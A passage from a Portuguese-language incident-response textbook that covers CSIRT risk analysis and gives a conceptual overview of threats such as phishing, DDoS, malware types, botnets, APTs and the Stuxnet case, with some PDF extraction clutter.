0,005

$ 25,000,000

$ 125,000

Inacessibilidade do servidor web.

0,003

$ 38,000,000

$ 114,000

Sistema de cobrança corrompido

0,001

$ 18,000,000

$ 18,000

Comprometimento por malware

0,002

$ 7, 000,000

$ 14,000

Total

U$ 271,000

Outras metodologias de análise de riscos sugerem a classificação qualitativa, ou seja, representar os riscos associados com o seu respectivo nível de impacto: alto, baixo ou médio.

q

Tabela 3.2 Análise de risco quantitativa.

Em certos aspectos a classificação qualitativa é mais intuitiva e de fácil compreensão. Na tabela a seguir, por exemplo, a análise quantitativa recém-apresentada é transcrita a análise qualitativa. Risco

Destruição de uma base de dados de clientes.

Alto

Inacessibilidade do servidor web.

Alto

Sistema de cobrança corrompido.

Médio

Comprometimento por malware.

Baixo

As duas metodologias para análise de riscos podem ser aplicadas no contexto de

q

resposta a incidentes. Cada qual com as suas vantagens e desvantagens. A análise quantitativa, por exemplo, consiste na ideia de calcular os valores associados a cada risco; no entanto, os valores utilizados são apenas estimativas e não podem identificar precisamente o valor de cada risco. Por outro lado, a análise qualitativa é subjetiva e carece de consistência na caracterização dos riscos. Independentemente do método utilizado para avaliar os riscos, é fundamental que os responsáveis pela segurança da instituição consigam identificar os recursos mais críticos da instituição e que, em última análise, devem ser protegidos. Sabe-se que a análise de risco é dinâmica. Novas ameaças estão constantemente surgindo, fazendo com que ameaças antigas tenham o seu impacto potencial reduzido. A equipe do CSIRT deve constantemente analisar as últimas ameaças e, também, reavaliar a classificação dos riscos associados de maneira a tornar preciso o processo de resposta a incidentes. Os dados relativos à análise de riscos podem ser utilizados em diferentes aspectos de um CSIRT como, por exemplo, para compor os custos envolvidos com um incidente específico. Nesses casos, estimar os valores associados a um incidente deve considerar todos os

q

recursos impactados e também os diferentes esforços empreendidos para solucionar o incidente. Na estimativa, devem-se considerar custos diretos e indiretos, tais como: 11 O custo estimado dos profissionais que atuaram na resposta e na investigação do incidente (valor da hora do profissional multiplicado pelo número de horas trabalhadas); 11 A quantidade de horas, no total, que cada profissional empregou no incidente em si; 11 A quantidade de pessoas que foram privadas de suas atividades normais em decorrência do incidente de segurança; 11 A quantidade de horas produtivas, no total, que cada uma dessas pessoas impedidas de trabalhar desperdiçou; 11 O custo estimado de cada profissional que ficou impedido de trabalhar. Os diversos fatores apresentados neste capítulo buscam ilustrar os aspectos básicos da análise de risco que podem ser utilizados para determinar os custos associados ao processo de resposta a incidentes como um todo. Como consequência, o CSIRT pode identificar áreas e tipos de incidentes que representam as maiores ameaças para a instituição.


Tabela 3.3 Análise de risco qualitativa.

Recurso

43

11 Vulnerabilidade: fragilidade inerente de um sistema ou ambiente operacional, que

q

pode ser explorado para causar dano a um sistema; 11 Ameaça: um agente (pessoal, atividade ou evento) com o potencial de causar dano a um sistema ou ambiente operacional.

Ameaças associadas a segurança de sistemas Este capítulo descreve as principais ameaças de segurança a sistemas computacionais. De forma simplificada, as ameaças aos sistemas podem ser associadas a fatores naturais ou fatores humanos (vide figura 3.1). As ameaças relacionadas com fatores naturais compreendem ações da natureza, como, por exemplo, tempestades, inundações, calor excessivo etc. Como resultado, fatores naturais podem desencadear rompimento de fibra óptica, queda de energia e mau funcionamento de equipamentos.

Ameaças de segurança Fatores humanos

Intenção

Externos (cracker/hacker)

Internos (funcionários)

Fatores naturais

Sem intenção

Terremotos Furacões Tornados

Figura 3.1 Diferentes ameaças de segurança.

Erros

As ameaças relacionadas a fatores humanos, em especial, compreendem ações maliciosas ou erros de utilização. Um erro de configuração no firewall da instituição, por exemplo, pode tornar o acesso à instituição indisponível externamente. Por outro lado, ações mal-intencionadas podem afetar os recursos de uma instituição de forma direcionada. Além dos externos à instituição, uma organização sempre deve considerar ataques originados internamente por seus próprios funcionários, tal como roubo de informações, ataque a recursos críticos e ataques de engenharia social. Em contraponto, os ataques externos tipicamente são executados por atacantes ou malwares escritos com a intenção de afetar sistemas específicos vulneráveis. Esses ataques, em essencial, possuem diferentes motivações, sendo: 11 Demonstração de poder; 11 Prestígio; 11 Motivações financeiras; Tratamento de Incidentes de Segurança

11 Motivações ideológicas;

44

11 Vantagem competitiva; 11 Vingança; 11 Extorsão. O cenário de riscos associados a incidentes de segurança atualmente é muito distinto. É possível encontrar incidentes de segurança relacionados a ataques de diferentes níveis de complexidade. Na sequência, são apresentadas as principais categorias de incidentes frequentemente observadas no processo de resposta a incidentes.

q

Comprometimento de sistemas O comprometimento de um sistema, ou uma invasão, acontece quando um atacante tem

q

acesso não autorizado a um sistema, passando-se por um usuário legítimo. Geralmente um comprometimento acontece ao nível de usuário, onde o atacante tem acesso às mesmas informações disponíveis a um usuário específico, como acesso aos arquivos, acesso a credenciais de acesso, histórico de comandos, histórico de navegação e outros. Mesmo que dados ou programas não tenham sido alterados ou roubados, um comprometimento pode resultar em perdas para a instituição. Por exemplo, quando uma máquina crítica é identificada como comprometida, é necessário instaurar um processo de investigação que, muitas vezes, tornará o sistema temporariamente indisponível. Evidentemente existem várias maneiras de comprometer um sistema computacional. Um atacante pode comprometer um sistema compondo diferentes técnicas, usando, por

q

exemplo: engenharia social, arquivos maliciosos e vulnerabilidades de sistemas. Ataques que exploram vulnerabilidades de aplicações tipicamente permitem que um atacante execute comandos arbitrários no sistema vulnerável. Dessa maneira, o atacante pode executar as mais diversas ações, como: apagar arquivos, sobrescrever arquivos executáveis e ter acesso ao sistema de forma permanente. Muitas vezes a efetiva exploração de vulnerabilidades permite acesso restrito ao sistema atacado, ou seja, acesso não privilegiado. Nesses casos, quando o atacante não é capaz de obter acesso privilegiado de imediato (root ou administrador), é necessário utilizar outras técnicas. Tipicamente, uma vez no sistema, os atacantes buscam explorar outras vulnerabilidades de modo a “escalar privilégios”. Isso significa que outros ataques são executados localmente até que o atacante tenha acesso privilegiado ao sistema. Um comprometimento de sistema muito comum – onde se busca a exploração de vul-

q

nerabilidades e posteriormente a elevação de privilégios – ocorre explorando falhas de aplicações web. Atualmente existe grande quantidade de aplicações web que podem ser facilmente instaladas, como ferramentas de blog, gerenciamento de sistemas, gerenciadores de conteúdos e outros. Infelizmente, algumas soluções primam pela praticidade e facilidade de instalação e, muitas vezes, os aspectos de segurança ficam em segundo plano. Falhas na especificação ou na implementação desses aplicativos podem permitir que atacantes comprometam o sistema de diferentes maneiras, incluindo a execução de programas (malwares), alterando o conteúdo de páginas, acessando arquivos e diretórios do sistema e, por fim, obtendo acesso privilegiado ao sistema.

a um sistema, um atacante pode coletar informações sensíveis de uma instituição e também efetuar os mais diversos tipos de ataques a outras organizações. A figura a seguir ilustra algumas ações que um atacante pode realizar com um sistema comprometido.


Sabe-se que um sistema comprometido é muito valioso para um atacante. Com acesso total

45

phising repositório de malware dados com copyright pornografia infantil spam webmail engenharia social acesso ao e-mail coorporativo contas de e-mail associadas personagens de jogos online recursos de jogos online licenças de jogos licenças de sis. operacionais facebook twitter linkedin google+

phising propaganda de malware warez / piracy server child pornography server spam site

malware

servidor web

ataques e-mail

credenciais

cartões de crédito e-commerce sistemas de pagamento sistemas de milhagem webmail institucional

financeiro

bitcoin / webmoney phising paypal / pagseguro click fraud

sistema comprometido bens virtuais

reputação

facebook documentos flickr instagram

sequestro info.

Phishing Phishing é uma técnica utilizada por golpistas cujo objetivo é obter informações

q

financeiras ou pessoais da vítima. Dessa maneira, os golpistas podem obter ganhos financeiros, ou ainda, valer-se de dados pessoais para tirar vantagem pessoal tal como: roubo de identidade e uso das informações para lançar novos ataques personalizados. Os ataques de phishing mais conhecidos são os quais um atacante induz usuários a acessar um site clonado de uma instituição financeira, de modo a coletar suas credenciais de acesso. No entanto, existem mais sofisticados, onde um usuário é induzido a instalar um programa malicioso com o objetivo de coletar dados sensíveis do sistema. Além dos phishings voltados para instituições financeiras, um conjunto de serviços é

q

igualmente visado: 11 Credenciais de serviços: e-mails, redes sociais ou armazenamento; 11 Programas de milhagem (companhias aéreas ou redes de supermercados); 11 Comércio eletrônico; 11 Notificações de multas, débitos ou compras; 11 Webmail corporativo. Para isso, os atacantes fazem uso de diferentes técnicas, de modo a induzir um usuário a Tratamento de Incidentes de Segurança

fornecer os seus dados pessoais inadvertidamente. Entre as principais técnicas utilizas em ataques de phishing, podemos citar: 11 Modificações nos links de redirecionamento embutidos na mensagem; 11 E-mails baseados em HTML, utilizando ofuscação de informação da URL; 11 Incluindo encurtadores de URLs; 11 Mensagens personalizadas, incluindo dados pessoais como nome completo e CPF; 11 Mensagens falsas, usando cabeçalhos das mensagens alterados (From). O grupo de resposta CAIS/RNP mantém um catálogo de fraudes relacionado a instituições brasileiras, sendo possível obter exemplos reais de fraudes utilizadas por golpistas: http://www.rnp.br/cais/fraudes.php 46

q

Figura 3.2 Possíveis abusos a sistemas comprometidos.

Desfiguração A desfiguração de site, ou web defacement, é um ataque cujo objetivo é alterar sem

q

autorização o conteúdo de uma página web. A alteração de uma página, em última análise, representa um comprometimento do sistema. Afinal, a alteração do conteúdo de uma página envolve a escrita no sistema de arquivo da própria máquina. Sendo assim, um ataque de desfiguração pode trazer sérias consequências à instituição,

q

entre elas: 11 Constrangimento: uma instituição que tem sua página web alterada inadvertidamente pode ter sua imagem de confiabilidade afetada. Já um website constantemente comprometido pode refletir o descaso com que as informações críticas de uma instituição são tratadas; 11 Disseminação de inverdades: alterações sutis no website podem resultar em consequências negativas para a instituição. Por exemplo, alteração de preços de produtos, telefones de contato – ou editar um comunicado para a imprensa – podem trazer inúmeros prejuízos; 11 Prejuízos de serviços: a alteração de um site pode indisponibilizar serviços prestados pela instituição. Boa parte dos ataques do tipo defacement é realizada de forma automatizada. Existem ferramentas especializadas em identificar aplicações web populares vulneráveis – tal como Wordpress e Joomla – de modo a explorar falhas de segurança e alterar o conteúdo da página. Portanto, em cenários onde aplicações de gerenciamento de conteúdo são utilizados, é fundamental redobrar os cuidados de segurança mantendo o sistema atualizado.

Ataques de força bruta É um tipo de ataque onde se busca descobrir as credenciais de acesso a um sistema através de tentativas. Para isso, um atacante utiliza diferentes palavras como possíveis senhas para identificar a combinação correta de usuário e senha. Existem diferentes técnicas para compor as credenciais a serem testadas nos sistemas. Teste de Turing público completamente automatizado para distinguir computadores de seres humanos. Também são conhecidos como um tipo de prova interativa humana (Human Interaction Proof - HIP). Geralmente, é gerada uma imagem com várias letras distorcidas no formulário de um site. O usuário então precisa digitar a série correta de letras em um campo, para provar que não é uma máquina tentando burlar o sistema.

q

As mais conhecidas são: 11 Busca exaustiva: nesse tipo de ataque, todas as possibilidades são testadas. Por exemplo, a combinação de todos os caracteres de um alfabeto com diferentes tamanhos de senhas; 11 Ataque de dicionário: as palavras utilizadas para o ataque são oriundas de dicionários específicos, ou seja, um subconjunto de palavras, tal como palavras de um idioma específico ou ainda as senhas mais comuns. Todos os métodos criptográficos de autenticação baseados em senhas são vulneráveis a esses tipos de ataques. A viabilidade de tais ataques depende basicamente da quantidade de recursos disponíveis para o atacante, que pode acelerar o processo, realizando vários testes em paralelo. Para evitar esse tipo de ataque, determinadas aplicações implementam políticas de proteção. Por exemplo, limitando o número de tentativas por usuário ou ainda implementando mecanismos que impedem a automatização das tentativas, como o captcha.


Captcha:

47

Varredura em redes (Scan) Scan, ou varredura, é uma técnica utilizada para mapear informações de sistemas

q

computacionais. Existem diferentes tipos de varreduras que podem ser utilizadas para obter informações detalhadas de recursos, tal como: serviços sendo executados; sistemas ativos; versões de aplicações; e, até mesmo, identificar vulnerabilidades em sistemas-alvo. Para isso, existe um conjunto de ferramentas especializadas na tarefa de identificação, varredura e enumeração de serviços disponíveis: 11 Port Scanner: buscam informações de portas abertas em servidores; 11 Network Enumerator: identifica servidores acessíveis; 11 Network Vulnerability Scanner: vulnerabilidade em serviços e redes; 11 Web application security scanner: vulnerabilidades em aplicações web. Quando não autorizada, uma varredura potencialmente é considerada maliciosa. Sabe-se que uma das etapas para o comprometimento de um sistema é elencar informações sobre o alvo (serviços, Sistema Operacional e suas respectivas versões). Logo, uma varredura pode ser uma etapa inicial de um possível ataque ou, ainda, ser ocasionado por um atacante tentando identificar possíveis alvos vulneráveis.

Negação de serviço (DoS e DDoS) Um DoS – negação de serviço – é um ataque cujo objetivo é tornar o sistema

q

computacional inacessível. Tipicamente, um ataque de negação de serviço tem como alvo servidores web, mas podem também alvejar servidores de e-mail, servidores de nomes (DNS) e outro tipos de serviços. O ataque consiste em exaurir recursos de um alvo a fim de torná-lo inacessível. Na prática,

q

uma negação de serviço sobrecarrega um alvo fazendo grande quantidade de requisições. Essas requisições podem ser pacotes de dados simples ou uma série de requisições customizadas. Para que o ataque tenha sucesso é necessário sobrecarregar algo com recursos. Quando o alvo atacado não consegue processar o volume de requisições ou ainda a banda de rede tenha sido exaurida, o alvo fica inacessível. Um engano comum é assumir que um ataque de negação de serviço altera a integridade

q

dos dados, ou seja, que compromete o sistema atacado. Portanto, um ataque de negação de serviço destinado a um serviço de banco de dados não


afetará a base de informações do servidor, mas sim o acesso ao serviço.

48

Uma negação de serviços pode ser inicializada por uma única máquina, mas tipicamente é realizada utilizando múltiplas máquinas de forma coordenada. Um ataque de negação usando múltiplas máquinas atacando um único alvo leva o nome de ataque de negação de serviços distribuído, ou D.D.o.S. A Figura 3.3 ilustra uma negação de serviços distribuída.

Figura 3.3 Negação de serviço distribuída: múltiplas máquinas.

Nos últimos anos, os ataques de negação de serviço tornaram-se populares. Como comentado, por utilizarem grande quantidade de máquinas – tipicamente comprometidas – esses ataques são muito eficazes.

Sites como Twitter, Visa e PayPal já foram afetados por ataques de negação de serviço.

Em alguns contextos, no entanto, o ataque de negação de serviço pode ser realizado como um recurso de ciberativismo. Nesses casos, não são utilizadas máquinas comprometidas, mas sim voluntários. No ano de 2012, um grupo de ativistas – ou um coletivo denominado Anonymous – ganhou notícia por atacar diversos websites utilizando técnicas de negação de serviço distribuídas (D.D.o.S). Esses ataques, na sua maioria considerada como ciberativismo, foram lançados contra diferentes instituições financeiras e também contra órgãos governamentais. Para isso, algumas ferramentas foram utilizadas por voluntários de forma a atacar os alvos. Uma das ferramentas mais utilizadas pelo Anonymous foi a ferramenta Low Orbit Ion Cannon (LOIC) e suas variações, que disparavam muitas requisições a um

Figura 3.4 Vida de Programador


website específico.

49

Malwares Malware é um nome genérico para definir os diferentes tipos de códigos maliciosos.

q

São softwares desenvolvidos especificamente para causar danos aos sistemas, incluindo computadores, redes ou até mesmo em dados. A denominação malware comumente é empregada para se referir a vírus, worms, spywares, trojans em geral e todo e qualquer software potencialmente malicioso. Existem diferentes formas de um malware comprometer um sistema. Malwares podem infectar sistemas embutindo-se em programas, anexando-se em mensagens de e-mails e propagando-se automaticamente. Outros malwares, porém, são instalados explorando vulnerabilidades conhecidas em um Sistema Operacional ou em outros softwares, tal como um browser vulnerável que acessa um website com um applet malicioso. A grande maioria dos malwares, entretanto, é executada por usuários incautos induzidos a instalar programas legítimos. Na sequência, são descritos os principais tipos de malwares amplamente encontrados

q

na rede.

Vírus Os vírus são programas com a capacidade de autorreplicação, que se propagam através

q

da ação do usuário. Uma vez executados, fazem cópias de si mesmos buscando espalhar-se para outros sistemas. Geralmente os vírus infectam sistemas de arquivos, aplicações e macros de programas. Atualmente, no entanto, os vírus não são muito notáveis. Em parte, isso se deve ferramentas de antivírus que impedem a propagação dos vírus e também à mudança de motivação dos desenvolvedores de vírus.

Trojans É um tipo de software que aparenta ser legítimo, mas na realidade é um malware

q

projetado para comprometer um Sistema Operacional. Um trojan tenta enganar um usuário disponibilizando funcionalidades desejadas, no entanto, além de realizar as funcionalidades desejadas, o trojan contém funções maliciosas que são executadas quando o software é executado. Tipicamente, após a sua execução, um trojan realiza uma série de ações. Entre as ações desempenhadas por um trojan está o download de novos malwares para o sistema e a instalação de novas funcionalidades maliciosas, tal como ferramentas de negação de serviço,


propaganda, envio de spams, armazenamento de teclas digitadas e outras.

50

Alguns exemplos de trojans: 11 Cracker: ferramenta para ativar softwares que, além de ativar o software, compromete o sistema, instalando novos malwares; 11 Plug-ins: software que tenta passar por um plug-in (flash, segurança bancária) para ter acesso ao sistema; 11 Proteção de tela: arquivos do tipo “.scr” que instalam uma proteção de tela, mas também comprometem o sistema; 11 Jogos: pequenos jogos gratuitos que quando executados comprometem o sistemas.

q

Os trojans são ainda mais efetivos quando executados com privilégios de administradores de sistema. Dessa forma, módulos de funcionalidades maliciosas podem ser inseridos no Sistema Operacional base. Ao contrário dos vírus e worms, os trojans não infectam computadores usando técnicas

q

de autorreplicação. Necessitam da ação de um usuário para propagar-se para outros sistemas. Comumente são encontrados em anexos de e-mails e em sites falsos que tentam enganar a boa-fé do usuário.

Figura 3.5 CUIDADO!!!

Worms Diferentemente dos vírus, um worm não necessita de uma ação do usuário para autorre-

q

plicar-se. Além de fazer cópias de si mesmo, os worms têm a capacidade de propagar-se para outros sistemas explorando vulnerabilidades existentes nos mesmos sistemas. Adicionalmente, os worms podem ter outras fontes de propagação, tal como: anexar-se a mensagens de e-mails; propagar-se em compartilhamento de redes; enviar-se em programas de mensagens instantâneas; e até mesmo utilizar redes sociais para se propagar. Mesmo não alterando arquivos do computador, como os vírus, os worms tipicamente consomem recursos do sistema, como memória, espaço em disco e uso de rede, inviabilizando muitas vezes a operação normal do Sistema Operacional. Por exemplo, o primeiro worm de que se tem notícia, o Moris Worm, utiliza vulnerabilidades dos serviços sendmail, finger e rsh para autopropagar-se. Outro caso notável de malware foi o worm “ILOVEYOU”, que infectou milhões de máquinas enviando cópias de si mesmo para a lista de contatos da máquina comprometida.

Em um passado recente, alguns worms – como o Code Red – caracterizavam-se por instalar backdoors em máquinas comprometidas. Malwares como o worm Nimda, por exemplo, utilizavam o backdoor deixado pelo Code Red como uma forma de propagação.

Backdoor É um software que permite acesso a um computador sem usar os mecanismos de

q

autenticação presentes no sistema. Geralmente, os malwares do tipo backdoor são utilizados por atacantes para garantir o seu retorno ao sistema comprometido de forma direta, sem a necessidade de explorar novamente vulnerabilidades ou utilizar senhas de usuários previamente identificadas. Muitas vezes um atacante substitui um programa de acesso remoto por um novo programa malicioso. Por exemplo, em alguns comprometimentos observa-se que os atacantes alteram o software SSH (sshd) para um sshd alterado. Dessa forma, o acesso de um determinado usuário será sempre permitido mesmo sem o usuário estar presente no sistema.


l

51

Alguns fabricantes de software inserem de forma proposital backdoors em seus sistemas, sob a alegação de necessidades administrativas. No entanto, um backdoor no sistema – mesmo sendo considerado legítimo – é uma ameaça à segurança do Sistema Operacional e também para a rede como um todo. Uma vez que sejam identificados os requisitos para o uso do backdoor, este pode ser utilizado para as ações maliciosas.

Ataques a serviços web O ataque a aplicações web é uma das principais maneiras de comprometer sistemas computacionais. Como se sabe, muitas aplicações foram portadas para a web, mas nem todas observam com rigor os requisitos mínimos de segurança. Esse cenário é potencializado com massificação de soluções stand alone, que podem ser utilizadas para as mais diversas tarefas, tal como gerenciador de conteúdo online, gerenciamento de fóruns web e frond-ends para gerenciamento. O problema não está em usar soluções prontas, mas sim na utilização destas sem a preocupação de segurança. É muito comum observar essas ferramentas sendo executadas sem a correta configuração de segurança e sem as devidas correções de vulnerabilidades conhecidas (paths de segurança). A exploração de uma vulnerabilidade de uma aplicação web permite a um atacante ter

q

acesso à área do servidor que, muitas vezes, através da elevação de privilégios, pode dar acesso administrativo ao atacante. Mesmo sem acesso de administrador, um atacante pode alterar o conteúdo de uma página web (defacement) e realizar os mais diversos tipos de ataques, como por exemplo: 11 Inserir um link malicioso em uma página fazendo com que todos que acessarem a página alterada sejam direcionados para efetuar um download de um arquivo malicioso (driven-by-download);

w

11 Substituir os arquivos existentes por páginas falsas de bancos utilizadas em ataques de phishing;

Essa lista é mantida pela organização Open Web Application Security Project (OWASP), que tem como objetivo aprimorar a segurança de softwares: https:// www.owasp.org

11 Expor dados sensíveis armazenados na base de dados do servidor usando as mesmas credenciais da aplicação (sql injection). As possíveis vulnerabilidades de aplicações web são as mais diversas, podendo ir de simples erros de configuração a, até mesmo, ataques complexos que permitem o roubo de sessões do usuário. Anualmente é disponibilizada uma lista das principais vulnerabilidades encontradas em aplicações web.

Bots e Botnets São malwares que permitem que o sistema comprometido seja controlado remotamente

q

através de uma estrutura de administração. Assim que o malware é executado, é esta Tratamento de Incidentes de Segurança

belecido um canal de comunicação com o controlador da rede (botmaster). O canal de comunicação entre o botmaster e o sistema comprometido pode ser implementado de diferentes formas, valendo-se de diferentes tecnologias: 11 Protocolo Internet Relay Chat (IRC); 11 Protocolo HTTP; 11 Túneis com protocolos cifrados; 11 Protocolo P2P. Uma vez que a comunicação com a entidade de administração seja estabelecida com sucesso, o sistema comprometido torna-se apto a receber comandos e instruções do controlador da rede. Invariavelmente, o malware (bot) apresenta um conjunto de funcionalidades pré-programadas que podem ser invocadas remotamente pelo botmaster. 52

As ações desempenhadas pelas botnets, em geral, são danosas à estrutura da internet. As botnets são responsáveis pelas mais diversas atividades maliciosas, tais como:

q

11 Envio de spam; 11 Varredura ou propagação; 11 Ataques de negação de serviços; 11 Distribuição de malwares; 11 Furto de identidade (credenciais de acesso); 11 Furto de dados sensíveis (espionagem industrial). Além disso, os bots possuem, na maioria dos casos, a opção de atualização remota. Com isso, novas funcionalidades podem ser incorporadas aos bots sem a necessidade do controlador da rede ter de comprometer novas máquinas. Uma forma de potencializar os ataques das máquinas comprometidas é constituir uma

q

rede de bots, ou seja, uma botnet. Uma botnet nada mais é que um conjunto de bots conectados em uma mesma estrutura administrativa. Dessa forma, um conjunto de máquinas comprometidas pode ser coordenado de modo a lançar ataques remotamente.

Outros riscos Encontrar uma abordagem efetiva para identificar e proteger a vasta coleção de sistemas vulneráveis é uma luta contínua no contexto da ciberdefesa. Certas tecnologias – como virtualização, dispositivos móveis e computação em nuvens – tendem a fornecer novas funcionalidades e aprimoramentos aos sistemas computacionais. Por outro lado, cada nova tecnologia também introduz complexidade adicional que pode ser potencialmente explorada e causar prejuízos aos sistemas existentes na instituição. Algumas instituições simplesmente ignoram – ou não classificam como relevantes – as ameaças introduzidas pelas novas tecnologias. Outras, porém, preferem terceirizar o tratamento dessas novas ameaças utilizando soluções de terceiros, mesmo sem ter noção do nível de segurança implementado por essas soluções de terceiros. Sabe-se que um processo de identificação de incidentes deve ser abrangente o suficiente para lidar com os mais diversos tipos de ameaças. Em etapas iniciais, muitos CSIRTs optam por ter foco nas ameaças possivelmente mais relevantes para o contexto de sua instituição. Por outro lado, não se devem esquecer novas ameaças, como as Advanced Persistent Threat (APT), que em um primeiro momento pode não ser relevante, mas que são latentes. Para isso, é importante que os membros da equipe criem uma perspectiva de como

q

É fundamental: 11 Reconhecer e categorizar novas ameaças; 11 Planejar e estar preparado para responder; 11 Educar e auxiliar outros quando necessário. Os ataques sofisticados são lançados por atacantes com alto nível de especialização técnica. Esses atacantes, ou cibercriminosos, geralmente possuem motivações financeiras. Um dos modelos de negócio altamente lucrativos compreende o roubo de informações sensíveis


reconhecer as novas ameaças e como as estas podem impactar sua organização.

de instituições. Sendo assim, os atacantes utilizam ataques coordenados em busca de 53

informações que julgam relevantes, como números de cartões de crédito, contas bancária e credenciais de acesso contendo informações que sejam valoráveis. Atualmente, a defesa cibernética deve enfrentar grandes desafios, entre os quais:

q

11 Os atacantes têm aumentado significativamente a motivação com ganhos financeiros; 11 Empresas criminosas estão competindo por talentos. Profissionais com alto nível técnico e que possuem padrões éticos flexíveis estão encontrando cada vez mais oportunidades em empresas de espionagem. Observam-se, também, a atuação desses profissionais com ética questionável atuando em empresas de contrainteligência com o cargo de “consultor de segurança”. Nesse contexto, cabe aos profissionais de segurança adaptar e preparar sua organização de modo a evitar que ataques sofisticados sejam efetivos. Para isso, é necessário que o CSIRT não tenha foco apenas em questões técnicas e operacionais, mas sim na implementação de uma cultura de segurança em todos os departamentos da instituição.

APT O Advanced Persistent Threat (APT) pode ser caracterizado por ataques que utilizam téc-

q

nicas avançadas para comprometer um alvo específico. Em geral, as APTs são ameaças bem específicas que se destinaram a alvos de grande valor, tal como instalações governamentais, empresas de petróleo, companhias de segurança e produtos de alta tecnologia. A motivação não é apenas ter acesso aos sistemas de uma instituição, mas sim manter o acesso de forma persistente por um longo período de tempo. Um exemplo clássico de APT são casos de ciberespionagem, onde uma empresa busca monitorar informações sensíveis de um concorrente a fim de obter vantagens comerciais. Nesses casos mais complexos, os atacantes investem meses para preparar um ataque a um alvo específico. Nesse período, os detalhes do alvo são estudados e softwares específicos são desenvolvidos com a finalidade de comprometer o alvo. Utilizando diferentes fontes de informação, é possível adquirir melhores percepções sobre o alvo e utilizar a inteligência obtida para lançar múltiplos ataques durante um longo período. Uma característica fundamental para as APTs é permanecer invisível durante a operação.

q

Como tal, os atacantes utilizam técnicas avançadas, tipicamente atuando em etapas incrementais, movendo a partir de uma máquina comprometida. Dessa forma, busca-se evitar que assinaturas de tráfego sejam identificadas. Os atacantes empenham massivos esforços para assegurar que ações maliciosas não possam ser mapeadas pelos administradores legítimos


do sistema comprometido. De forma resumida, as APTs têm as seguintes características: 11 Utilizam ferramentas customizadas e técnicas de intrusão que compreendem o uso de exploits e rootkits desenvolvidos especificamente para atacar a instituição-alvo; 11 Permanecem por um longo período na instituição-alvo e atuam de forma discreta para evitar detecção; 11 Implementam ações de espionagem, sabotagem e, geralmente, envolvem funcionalidades que ocultam os autores do ataque. Os ataques lançados a um alvo específico podem ser compostos com diferentes vetores de ataques, podendo usar desde técnicas de engenharia social até o desenvolvimento de malwares que exploram múltiplas vulnerabilidades desconhecidas (zero-days exploits). 54

q

Os malwares, em especial, são desenvolvidos usando técnicas avançadas de ofuscação, o que dificulta a sua detecção por parte dos sistemas de antivírus. Boa parte dos malwares utilizados em APTs, além de serem difíceis de ser detectados,

q

implementam técnicas que permitem a administração remota dos sistemas comprometidos. Atacantes valem-se dessa capacidade de controle remoto de modo a utilizar o sistema comprometido para: 11 Comprometer novos sistemas; 11 Identificar alvos importantes; 11 Identificar a topologia da rede; 11 Ter acesso a informações críticas. Se um ataque do tipo APT não conseguir contatar os seus operadores, as informações e toda a inteligência capturada não podem ser transmitidas, o tornando inefetivo. Sendo assim, são utilizadas diferentes técnicas para ter acesso aos dados de uma instituição, como por exemplo: túneis, envio de dados em e-mails, esteganografia, requisições HTTP (POST/GET), entre outros.

Para pensar Do ponto de vista operacional, as APTs possuem o funcionamento muito semelhante a uma botnet. Apesar de usarem diferentes vetores de ataques e funcionalidades específicas, as APTs comprometem máquinas internas e estabelecem um canal de controle e comando de modo a controlar dispositivos e exportar dados da instituição.

Tendo em vista esse conjunto de ameaças sofisticadas, cabe aos CSIRTs adaptarem-se para atuar e identificar incidentes de segurança relacionados aos APTs e prover uma resposta efetiva. Nos últimos anos, as ameaças do tipo APTs ganharam muita publicidade. O ataque mais notável envolvendo APTs foi o Stuxnet, realizado em 2010. O objetivo do ataque era corromper o programa nuclear do Irã e, como pôde ser observado, foi empregado um grande esforço e

O Stuxnet demonstrou como diferentes ameaças podem ser combinadas para sobressair

q

a múltiplas camadas de segurança. O ataque foi realizado utilizando diferentes etapas. A primeira etapa do ataque consistia em fazer com que um computador da rede interna do alvo executasse um arquivo malicioso especialmente desenvolvido para a operação. Estima-se que foram utilizadas diferentes técnicas para induzir a execução do malware internamente: 11 Técnicas de engenharia social; 11 Dispositivo USB infectado; 11 E-mail com links maliciosos; 11 Phishing; 11 Sabotagem.


l

Embora não oficialmente reconhecido, acredita-se que o ataque foi planejado pelos Estados Unidos em conjunto com Israel.

sério investimento.

55

Não se sabe ao certo a técnica utilizada. De qualquer forma, o malware foi executado com sucesso em um computador interno da instituição-alvo, sem ser detectado por ferramentas de segurança. O Stuxnet então utilizava de algumas vulnerabilidades do tipo zero-day – mais especificamente quatro vulnerabilidades zero-day – para comprometer o sistema e tomar controle do sistema Windows do computador utilizado. Sabe-se que as vulnerabilidades zero-day são falhas de segurança geralmente não conhecidas e que ainda não existe correção disponibilizada para sua remediação. A análise do malware identificou que os arquivos foram construídos unicamente para o ataque em particular, sendo difíceis de serem identificados. Após a execução do malware na rede interna alvo, um conjunto de etapas foi utilizado até que o objetivo do ataque fosse atingido. A primeira etapa consistia em obter acesso à rede interna da Usina Nuclear Iraniana. Para isso, foram utilizadas as características do próprio malware desenvolvido. A partir do momento em que o malware teve acesso aos sistemas confiáveis da rede interna, o Stuxnet começou a coletar informações e inicializou contato com servidores de controle e comandos dos atacantes. Com isso, o Stuxnet pôde ser atualizado e receber instruções de como proceder com o ataque. Na etapa seguinte, o malware propagou-se para outros sistemas internos, utilizando métodos combinados de ataque. Essa propagação continuou, até que fosse encontrado um sistema Windows executando um controlador de rede específico (SCADA) do fabricante Siemens. Quando encontrado, o Stuxnet utiliza uma senha padrão (hardcoded) do software da Siemens para ter acesso à rede de equipamentos gerenciada pelo próprio controlador da Siemens. A partir desse momento, o Stuxnet usou o controlador da Siemens para localizar dispositivos que gerenciam o funcionamento das centrífugas atômicas da Usina Nuclear Iraniana. Por fim, esses dispositivos que controlam as centrífugas foram atacados e reprogramados de modo a afetar o funcionamento. Como consequência, as centrífugas foram danificadas, afetando o processo de enriquecimento de urânio da Usina Iraniana. O Stuxnet serve como um exemplo para que o CSIRT avalie o plano de resposta adequando para essas novas ameaças APTs. Sem um plano de resposta devidamente testado, uma organização não pode efetivamente detectar e responder o incidente de forma rápida o suficiente para impedir que demais danos sejam causados. Leitura recomendada: 11 Viega, John. The Myths of Security: What the Computer Security Industry Doesn’t Want You to Know. O’Reilly, 2009; 11 Schultz, Eugene, and Russell Shumway. Incident response: a strategic guide to handling system and network security breaches. Sams, 2001; Tratamento de Incidentes de Segurança

11 Radvanovsky, Robert S., and Allan McDougall. Critical infrastructure: homeland security

56

and emergency preparedness. CRC Press, 2009; 11 Cartilha de Segurança para Internet – CERT.br: http://cartilha.cert.br/ 11 Sugestões para defesa contra ataques de força bruta para SSH: http://www.cert.br/docs/whitepapers/defesa-forca-bruta-ssh/
